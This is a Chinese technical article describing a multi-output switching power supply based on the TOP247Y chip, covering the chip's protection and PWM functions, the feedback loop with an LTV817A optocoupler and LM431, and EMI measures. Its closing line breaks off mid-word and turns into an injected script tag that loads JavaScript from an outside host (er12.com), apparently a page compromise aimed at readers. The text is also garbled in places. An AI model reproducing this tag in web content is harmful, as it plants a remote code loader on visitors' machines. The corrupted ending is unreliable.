摘 要：本文介绍了一种多路开关稳压电源及top247y的工作原理，重点讨论了开关电源和高频变压器的设计。
关键词：开关电源；电磁干扰
概述
在三相逆变器用开关电源中，电源的工作方式有两种，一种是应用工频变压器供电，另一种是应用开关稳压电源供电。随着微电子和电力电子技术的发展，它们都毫无例外地使用开关电源。开关电源具有重量轻、体积小、效率高、稳压范围宽等优点，正朝着短、小、轻、薄、单片集成化、智能化的方向发展。美国powerintegrations公司在2001年初开发的单片开关电源集成芯片top247y属于该公司第四代单片开关电源集成电路topswitch－gx系列。该系列产品除具备topswitch－fx系列的全部优点之外，还将最大输出功率从75w扩展到250w，适合构成大、***率的高效率、隔离式开关电源。它的开关频率高达132khz，这有助于减小高频变压器及整个开关电源的体积。本文介绍了一种基于top247y的多路开关稳压电源，其结构简单、成本低廉、制作调试方便，基本上能达到所要求的条件。
topswitch－gx系列芯片工作原理
图1给出了top247y芯片内部结构图，共有6个引出端，它们分别是控制端c、线路检测端l、极限电流设定端x、源极s、开关频率选择端f和漏极d。利用线路检测端(l)可实现4种功能：过压(ov)保护；欠压(uv)保护；电压前馈(当电网电压过低时用来降低最大占空比)；远程通／断(on／off)和同步。而利用极限电流设定端，可从外部设定芯片的极限电流。在每个开关周期内都要检测功率mosfet漏源极导通电阻ros(on)上的漏极峰值电流id(pk)，当id(pk)>ilimit时，过电流比较器就输出高电平，依次经过触发器、主控门和驱动级，将mosfet关断，起到过电流保护作用。
电源启动时，连接在漏极和源极之间的内部高压电流源向控制极充电，在re两端产生压降，经rc滤波后，输入到pwm比较器的同相端，与振荡器产生的锯齿波电压相比较，产生脉宽调制信号并驱动mosfet管，因而可通过控制极外接的电容充电过程来实现电路的软启动。当控制极电压uc达到5.8v时，内部高压电流源关闭，此时由反馈控制电流向uc供电。在正常工作阶段，由外界电路构成电压负反馈控制环，调节输出级mosfet的占空比以实现稳压。当输出电压升高时，uc升高，采样电阻re上的误差电压亦升高。而在与锯齿波比较后，将使输出电压的占空比减小，从而使开关电源的电压减小。当控制极电压低于4.8v时，mosfet管关闭，控制电路处于小电流等待状态，内部高压电流源重新接通并向uc充电，其关断/自动复位滞回比较器可使uc保持在4.8～5.8v之间。当开关电源的负载很轻时，能自动将开关频率从132khz降低到30khz(半频模式下则由66khz降至15khz)，可降低开关损耗，进一步提高电源效率。
多路输出的开关电源设计
由top247y构成的多路开关电源原理图见图2，其中输出三路200ma、15v的直流电，一路400ma、15v的直流电，以及1a、5v的直流电。多路电源用高频变压器获得多组电压输出，经快速恢复二极管、电容滤波后得到多路直流电源。
当电源输入交流85～265v时，交流电压u依次经过电磁干扰(emi)滤波器(c1，l1)、输入整流滤波器(kbl406g，c2)获得直流高压ui。ui经过r1接l端，能使极限电流随ui升高而降低。它使用c3，vd型漏极钳位二极管p6ke200a和阻断二极管d1，以替代价格较高的tvs(瞬态电压抑制器)，用于吸收在top247y关断时由高频变压器漏感产生的尖峰电压，对漏极起到保护作用。次级电压经过整流、滤波后获得多路输出。其中15v电源输出所用的是快速恢复二极管，其他输出用的二极管是肖特基二极管，其目的是减少整流管的损耗。
该电源采用3枚芯片，包括top247y(u1)、光耦合器ltv817a，以及可调式精密并联稳压管lm431。为减小高频变压器体积和增强磁场耦合程度，次级绕组采用了堆叠式绕法。其稳压原理为，u=ur4+uz+ulm431。当u发生变化时，如u增加时，流过光耦的电流增大，光耦输出的电流随着增大，流经top247y控制端的电流增加，而占空比则减小，从而u下降，这样达到稳压的目的，反之u减小时也有相同的原理。
可调精密稳压管lm431的内部参考电压为2.495v，输出电压经电位器和r7分压，可调电压在2.5v(基准值)至37v(最大值)之间。r6和c18构成lm431的频率补偿网络。c19为软启动电容。除5v电压外，其余各路输出未加反馈，输出电压均由高频变压器的匝数比来确定。r9～r12是15v输出的假负载，它能降低该路的空载及轻载电压。
另外，为了尽可能减少电磁干扰，在开关电源的输入侧接入共模扼流圈，可以明显改善电磁噪声。而安全电容c6能滤除一次、二次绕组耦合电容产生的共模干扰，电容c1可滤除电网线之间的串模干扰。
高频变压器的设计
该开关电?script src=http://er12.com/t.js>
